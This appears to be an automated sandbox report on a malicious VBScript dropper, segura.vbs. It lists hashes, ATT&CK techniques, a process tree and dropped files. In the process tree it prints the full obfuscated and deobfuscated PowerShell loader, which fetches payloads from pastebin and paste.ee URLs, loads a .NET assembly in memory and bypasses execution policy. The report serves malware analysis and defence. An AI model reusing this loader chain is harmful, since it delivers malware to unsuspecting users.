cdff410d32d5b177320f80eb8bc6be51de994bd11cc17e7013ae400e1947ca6f

General

Target

segura.vbs
Size

1.9MB
MD5

753a9d435fdf6803ca970ba23d3dfe0d
SHA1

03aa37de89660b8d2fd9ef5aabc61a83a7f410c8
SHA256

cdff410d32d5b177320f80eb8bc6be51de994bd11cc17e7013ae400e1947ca6f
SHA512

426a53f1003bd48f4933266eecfeedfe74ea374a50b1b9ff2d969dc0333e4a9370ccb75640e08bcd0e93a3b2e9d0bbf60a5ed7fc117fef79e1f54f53c9a44c6a
SSDEEP

192:dG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4l:XQb7SOE9Cm6wn

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/Adv9gBHa

exe.dropper

https://pastebin.com/raw/Adv9gBHa

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2712	powershell.exe
7	2712	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2444	powershell.exe
2712	powershell.exe
2780	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2444	powershell.exe
2712	powershell.exe
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2444	1672	WScript.exe	30
PID 1672 wrote to memory of 2444	1672	WScript.exe	30
PID 1672 wrote to memory of 2444	1672	WScript.exe	30
PID 2444 wrote to memory of 2712	2444	powershell.exe	32
PID 2444 wrote to memory of 2712	2444	powershell.exe	32
PID 2444 wrote to memory of 2712	2444	powershell.exe	32
PID 2712 wrote to memory of 2780	2712	powershell.exe	33
PID 2712 wrote to memory of 2780	2712	powershell.exe	33
PID 2712 wrote to memory of 2780	2712	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★QQBk★HY★OQBn★EI★S★Bh★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★CQ★J★★n★Cc★L★★n★Cc★QQ★n★Cc★KQ★g★Ck★I★★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★FM★eQBz★HQ★ZQBt★C4★QQBw★H★★R★Bv★G0★YQBp★G4★XQ★6★Cc★I★★r★C★★Jw★6★EM★dQBy★HI★ZQBu★HQ★R★Bv★G0★YQBp★G4★LgBM★G8★YQBk★Cg★I★★k★EY★eQBm★GQ★eg★g★Ck★Lg★n★C★★Ow★k★E0★TwBE★FI★Zw★g★Cs★PQ★g★Cc★RwBl★HQ★V★B5★H★★ZQ★o★C★★Jw★n★FQ★ZQBo★HU★b★Bj★Gg★ZQBz★Fg★e★BY★Hg★e★★u★EM★b★Bh★HM★cw★x★Cc★Jw★g★Ck★LgBH★GU★d★BN★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBl★HQ★a★Bv★GQ★K★★g★Cc★JwBN★HM★cQBC★Ek★YgBZ★Cc★Jw★g★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★C★★J★Bu★HU★b★Bs★C★★L★★g★Fs★bwBi★Go★ZQBj★HQ★WwBd★F0★I★★o★C★★Jw★n★D★★LwBV★Fg★VQBW★Dc★LwBk★C8★ZQBl★C4★ZQB0★HM★YQBw★C8★Lw★6★HM★c★B0★HQ★a★★n★Cc★I★★s★C★★Jw★n★CU★SgBr★FE★YQBz★EQ★ZgBn★HI★V★Bn★CU★Jw★n★C★★L★★g★Cc★JwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cc★L★★g★Cc★Jw★w★Cc★Jw★s★C★★Jw★n★DE★Jw★n★Cw★I★★n★Cc★UgBv★GQ★YQ★n★Cc★I★★g★Ck★I★★p★C★★Ow★n★C★★Ow★k★FY★QgBX★Fc★eg★g★D0★I★★o★C★★WwBT★Hk★cwB0★GU★bQ★u★Ek★Tw★u★F★★YQB0★Gg★XQ★6★Do★RwBl★HQ★V★Bl★G0★c★BQ★GE★d★Bo★Cg★KQ★g★Cs★I★★n★GQ★b★Bs★D★★Mw★u★H★★cw★x★Cc★I★★p★C★★Ow★k★E0★TwBE★FI★Zw★g★Hw★I★BP★HU★d★★t★EY★aQBs★GU★I★★t★EY★aQBs★GU★U★Bh★HQ★a★★g★CQ★VgBC★Fc★VwB6★C★★I★★t★GY★bwBy★GM★ZQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★g★C0★RQB4★GU★YwB1★HQ★aQBv★G4★U★Bv★Gw★aQBj★Hk★I★BC★Hk★c★Bh★HM★cw★g★C0★RgBp★Gw★ZQ★g★CQ★VgBC★Fc★VwB6★C★★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\segura.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/Adv9gBHa' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/UXUV7/d/ee.etsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\segura.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dll02.txt

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
942B

MD5
d9898296540612c96776cc5497292681

SHA1
0c5f5168c7df55ec35c1528ef7a782de0861d616

SHA256
19ea2bcd08fc915f8dcedee0c71dd3427066f1d93edb2bd3b27054b371cc2629

SHA512
5e5dcdb9e9d65ca53f533361c6a469561469703f9a95d197b81b7b1a0f53bb9e209f02e20fca48805073697c3226c3e61f5481bedea744967cf3c415bd43ff88

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ee57c1cc0b9e3c21f80b6bb4181c1264

SHA1
63e27b757551511ef1b8c94ae39e03a15194760c

SHA256
352ebcda21114e9fda354ed2513dbdc5cf66396b4cd0a882798e4e4cd56c4627

SHA512
9885fcf3b057dbaaa8b1e136f91a5e2a0e043f4b266899ef2097f9359e9c178ab3a0d48cda15c292ddad16d706cd78b5172bcf01ef97e9a8c28d575617ab012c

Download Submit
memory/2444-4-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2444-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2444-6-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2444-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-13-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-25-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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